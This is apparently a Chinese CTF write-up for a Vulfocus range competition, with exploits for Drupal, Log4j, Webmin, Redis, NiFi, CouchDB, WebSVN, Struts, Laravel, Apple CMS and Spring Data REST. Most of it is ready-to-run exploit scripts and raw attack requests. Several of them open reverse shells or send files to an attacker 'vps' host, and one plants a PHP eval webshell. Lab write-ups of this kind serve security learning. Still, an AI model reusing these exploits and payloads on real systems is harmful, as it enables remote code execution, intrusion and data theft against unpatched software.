Vulfocus靶场部分Wp

bgbingsec  5天前

作者:givemefivw@上海观安信息技术股份有限公司

声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

038 Drupal

打开靶场,得到信息Powered by Drupal

微信图片_20220113153314.png

访问user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax目录

image.png

说明可能存在CVE-2018-7600

抓包修改数据:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 106.75.119.109:51572
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sjigddfdaehhpom7vrqp7gc7o3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Content-Type: application/x-www-form-urlencoded
Content-Length: 621

-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#post_render][]"

passthru
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#type]"

markup
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="mail[#markup]"

ls /tmp
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="form_id"

user_register_form
-----------------------------99533888113153068481322586663
Content-Disposition: form-data; name="_drupal_ajax"

得到flag:flag-{bmh47f9f13a-1a64-4881-a952-8af433bde8d4}

image.png

062 Log4j

启动靶场,在页面抓包

在VPS启动JNDI工具

POST /hello HTTP/1.1
Host: 106.75.119.109:19542
Content-Length: 68
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Origin: <http://106.75.100.72:61111>
cmd:ls /tmp
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: <http://106.75.119.109:19542>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

payload=${jndi:ldap://vps:1389/TomcatBypass/TomcatEcho}

得到flag

image.png

045 Webmin

image.png

无需登陆,使用脚本直接拿flag

image.png

完整数据包:

POST /password_change.cgi HTTP/1.1
Host: 106.75.119.109:50093
CAccept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: <https://106.75.119.109:50093/session_login.cgi>
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2&=

image.png

注意这里两个flag,使用第一个。

27 redis

看到端口映射信息:6379:11230

redis未授权

image.png

利用主从复制拿到Shell

下载两个脚本:

```java
<https://github.com/n0b0dyCN/redis-rogue-server>

<https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server>

将 redis-rogue-server的exp.so文件复制到 Awsome文件夹中使用,因为exp.so带 system模块

1、开启监听——nc -lvnp 9999

2、攻击机开启主服务器——python3 redis_rogue_server.py -v -path exp.so

image.png

然后靶机执行:

```java
config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字 这里就是创建一个空文件
slaveof vps 15000
//进行主从同步,将恶意so文件写入到tmp文件
//端口可以自定义

image.png

然后加载恶意so文件

module load ./exp.so 
//加载写入的so文件模块
module list
//ັ查看恶意的so文件有没有写入成功

image.png

反弹Shell:system.rev vps 9999

image.png

70 nodejs(方法是其他大佬提供的)

http://106.75.119.109:28589/api/getServices?name[]=$(find%20/%20-name%20%22*flag*%22%20%3E%201.txt)

image.png

http://106.75.119.109:28589/api/getServices?name[]=$(nc%20vps%202333%20%3C%201.txt)

image.png

image.png

48 phpok CVE-2018-12491任意文件上传

打开靶场

image.png

搜索历史漏洞,找到CVE-2018-12491任意文件上传:

https://blog.csdn.net/weixin_42582241/article/details/104593164#:~:text=%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0%EF%BC%9Aphp,%EF%BC%8C%E8%8E%B7%E5%8F%96%E7%BD%91%E7%AB%99%E6%9D%83%E9%99%90%E3%80%82

32 JunAMS CNVD-2020-24741文件上传

image.png

https://blog.csdn.net/YouthBelief/article/details/121403512

41 Nifi Api 远程代码执行

image.png

搜索历史漏洞,找到此处:

https://github.com/freeFV/CVE-2020/blob/main/Apache%20NiFi%20Api%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(RCE).md

exp.py:

import sys
import json
import requests as req

class Exp:
    def __init__(self, url):
        self.url = url

    def check_is_vul(self):
        url = self.url + "/nifi-api/access/config"
        try:
            res = req.get(url=url, verify=False)
            data = res.json()
            return not data["config"]["supportsLogin"]
        except Exception as e:
            pass
        return False

    def clean_up(self, p_id):
        url = self.url + "/nifi-api/processors/" + p_id + "/run-status"
        data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'}
        req.put(url=url, data=json.dumps(data), verify=False)
        req.delete(url + "/threads", verify=False)

    def exploit(self, cmd):
        g_id = self.fetch_process_group()
        if g_id:
            p_id = self.create_process(g_id)
            if p_id:
                self.run_cmd(p_id=p_id, cmd=cmd)
                self.clean_up(p_id=p_id)

    def run_cmd(self, p_id, cmd):
        url = self.url + "/nifi-api/processors/" + p_id
        cmd = cmd.split(" ")
        data = {
            'component': {
                'config': {
                    'autoTerminatedRelationships': ['success'],
                    'properties': {
                        'Command': cmd[0],
                        'Command Arguments': " ".join(cmd[1:]),
                    },
                    'schedulingPeriod': '3600 sec'
                },
                'id': p_id,
                'state': 'RUNNING'
            },
            'revision': {'clientId': 'x', 'version': 1}
        }
        print(data)
        headers = {
            "Content-Type": "application/json",
        }
        res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False)
        return res.json()

    def fetch_process_group(self):
        url = self.url + "/nifi-api/process-groups/root"
        try:
            res = req.get(url=url, verify=False)
            data = res.json()["id"]
            return data
        except Exception as e:
            pass
        return 0

    def create_process(self, process_group_id):
        url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors"
        data = {
            'component': {
                'type': 'org.apache.nifi.processors.standard.ExecuteProcess'
            },
            'revision': {
                'version': 0
            }
        }
        headers = {
            "Content-Type": "application/json",
        }
        try:
            res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False)
            return res.json()["id"]
        except Exception as e:
            pass
        return 0

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("rce.py url cmd")
    else:
        url = sys.argv[1]  # <http://192.168.1.1:8080>
        cmd = sys.argv[2]  # nc -e /bin/bash 192.168.1.129 1234
        e = Exp(url)
        e.exploit(cmd)

脚本使用时注意目标后面不加/,或者直接修改代码。

python3 exp.py http://106.75.119.109:15961 "nc -e /bin/bash vps port"

44 Webmin(和45完全一样)

image.png

59 Couchdb CVE-2017-12636

image.png

exp.py:

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = '<http://106.75.119.109:11374>'
command = rb"""sh -i >& /dev/tcp/vps/4433 0>&1"""
version = 1

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': '<http://127.0.0.1:8085>'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

image.png

75 CVE-2021-32305 WebSVN 2.6.0 RCE

image.png

exp.py:

import requests
import argparse
from urllib.parse import quote_plus
 
PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/vps/7777 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'
 
parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")
 
args = parser.parse_args()
 
if args.target.startswith("http://") or args.target.startswith("https://"):
  target = args.target
else:
  print("[!] Target should start with either http:// or https://")
  exit()
 
requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))
 
print("[*] Request send. Did you get what you wanted?")

image.png

参考:https://blog.csdn.net/weixin_43526443/article/details/121742277

17 YAPi 远程命令执行

https://www.jianshu.com/p/b1f79f346eca

22 St2-059

但是不知道是靶场问题还是什么原因,弹不了Shell

公开的exp:

import requests

url ="<http://ip>:port"

data1 = {

"id":"%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id":"%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload'))}"

}

res1 = requests.post(url,data=data1)

# print(res1.text)

res2 = requests.post(url,data=data2)

# print(res2.text)

payload需要编码:

bash -i >& /dev/tcp/vps/9967 0>&1

<http://www.jackson-t.ca/runtime-exec-payloads.html>

31 CVE-2021-3129 Laravel Debug mode RCE

image.png

下载phpggc:https://github.com/ambionics/phpggc

exp:

#!/usr/bin/python3

import requests as req
import os, uuid

class Exp:
    __gadget_chains = {
        "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
    }  # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力

    __delimiter_len = 8  # 定界符长度

    def __vul_check(self):
        resp = req.get(self.__url, verify=False)
        if resp.status_code != 405 and "laravel" not in resp.text:
            return False
        return True

    def __payload_send(self, payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload
        resp = req.post(self.__url, headers=header, json=data, verify=False)
        # print(resp.text)
        return resp

    def __command_handler(self, command):
        """
        因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。
        """

        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len]  # 定界符用于定位页面中命令执行结果的位置。
        # print(delimiter)
        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
        # print(command)

        escaped_chars = [' ', '&', '|']  # 我只想到这么多,可自行添加。
        for c in escaped_chars:
            command = command.replace(c, '\\\\' + c)
        # print(command)
        return command

    def __clear_log(self):
        return self.__payload_send(
            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __gen_payload(self, gadget_chain):
        gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
        # print(gen_shell)
        os.system(gen_shell)
        with open('payload.txt', 'r') as f:
            payload = f.read().replace('\\n', '') + 'a'  # 添加一个字符使得两个完整的payload总是只有一个可以正常解码
        os.system("rm payload.txt")
        # print(payload)
        return payload

    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")

    def __rce(self):
        text = self.__unserialize_log().text
        # print(text)

        echo_find = text.find(self.__delimiter)
        # print(echo_find)
        if echo_find >= 0:
            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
        else:
            return "[-] RCE echo is not found."

    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('a' * 2)
            self.__payload_send(self.__gen_payload(gadget_chain))
            self.__decode_log()
            print("[*] Result:")
            print(self.__rce())

    def __init__(self, target, command):
        self.target = target
        self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
        self.__command = self.__command_handler(command)
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()

def main():
    Exp("<http://106.75.119.109:49216/>", "ls /tmp")

if __name__ == '__main__':
    main()

把exp和phpggc放在同一目录下,py3执行

image.png

30 苹果cms

image.png

插入一句话(test.php 连接密码test):

<http://106.75.119.109:10343/index.php?m=vod-search&wd={if-A:print(fputs%28fopen%28base64_decode%28dGVzdC5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW3Rlc3RdKTsgPz4%29%29)}{endif-A}>

image.png


image.png

24 CVE-2017-8046 Spring Data Rest RCE

扫描目录,发现存在http://106.75.119.109:49526/profile/persons目录

搜素相关漏洞

image.png

curl -X POST -i -H "Content-Type:application/json" -d '{"firstName":"Greg", "lastName":"Turnquist"}' <http://106.75.119.109:49526/persons>

image.png

访问persons/1页面抓包

修改请求方式为PATCH

PATCH /persons/1 HTTP/1.1
Host: 106.75.119.109:49526
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sjigddfdaehhpom7vrqp7gc7o3; redirect=1; PHPSESSION=teujfkinrgs6ebhql3h7k49i30; thinkphp_show_page_trace=0|0; _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjE5LCJpYXQiOjE2NDA5MzM5NDcsImV4cCI6MTY0MTUzODc0N30.gOK1ez9e2w9ZtGO9IpoFBA12Ikhz22xwYMAb6F5C7Tg; _yapi_uid=19; JSESSIONID=CB81F834ADE3F7FFAD88A7357E3AC8D6; XSRF-TOKEN=eyJpdiI6IjBGN1gzeWVpR3ZwRDljQjVyYlNyV2c9PSIsInZhbHVlIjoieHpRSFV2cmRWZlpoQzRMYXEwcmIrT0JNSStydTBoUHFaYkZndW4vM2ZZZjhrTjVWazBZc0JEeXNpbGxvZjRXS1U2S1crY3pncVFsbGtycjAzT2Z2Q2ZBQWxta05oVDBJU050RkxiY3NnSlNGSThEUGNuZGR2ckJsa3ZqK3ZsREUiLCJtYWMiOiI2YWVlMWI1NTI1Yzk1N2M3NzljM2I1NjRkN2ViNTk3YTk2YTRiZGQyODFjYmZjYjY0Nzc3NWJhNmI0MmRhYzBlIn0%3D; laravel_session=eyJpdiI6ImRTeTVkOHVTMDk0c3AwQTNMUk1lb1E9PSIsInZhbHVlIjoiN1d4cXFiZlZUR2lEUGswQUhYeDhqamZHVGdyUmZJU1A1eTJjd3dQazlNVGpmcXIvbG56cnVPMTdpR3YrSW12SVp4UitYeE80d1ZJVVY1bGsyQlpkYSs3ZkJPNGhzTlJqUCsyVDN6SXJXWXoyZFMybS9TMU1Cd2wweEphUUVEajIiLCJtYWMiOiJjZDA5M2NhNTE0OTEzZWFhNDZiY2NmMjgyYjE2YTU5Nzg5ZmNhYjYzNmM5ZmU4MmM1MThkNTUzYmMwZTY2OTFjIn0%3D
Content-Type:application/json-patch+json
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 452

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{payload}))/lastname", "value": "vulhub" }]

其中payload字段反弹Shell转码后进行进制转换

payload = b'payload'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

vps开启监听,成功反弹

image.png

50 Nagios Core(未完成)

扫目录,扫到nagios


image.png

image.png

但是在网上只找到**CVE-2016-9565**

image.png

https://paper.seebug.org/146/

找到了一个Exp,但是py2环境,没有利用成功:https://www.bugku.com/thread-87-1-1.html

比赛总结

关于Wp

本篇Wp并不完善,仅将比赛过程中我自己拿过flag的都写了出来,另外又加了几个当时没来得及做的。因为最近项目比较忙,在闲暇中磨出来的,所以难免有些错漏和不足之处,还望各位师傅见谅。

比赛评价

除了比赛刚开始环境不稳和靶场开启上限之外,全程没有其他的痛点,所以总体我觉得比赛很可以的。就是最后的排名和我们的队名很有戏剧性。然后本次比赛综合来看是有点像比谁工具多,只要找到靶场的组件或者关键信息,就可以用工具直接打,有的还可以直接用goby扫。

些许建议

1、希望能在靶场的描述界面增加一个访问端口的描述,有些靶场一开启映射了好几个端口,还需要自己判断一下,如果能指点一下访问哪个端口映射的就方便多了。

2、另一个小想法就是能不能效仿这次比赛,在靶场中增加“盲打”模式,不告知靶场名称,需要自行收集。

最新评论

昵称
邮箱
提交评论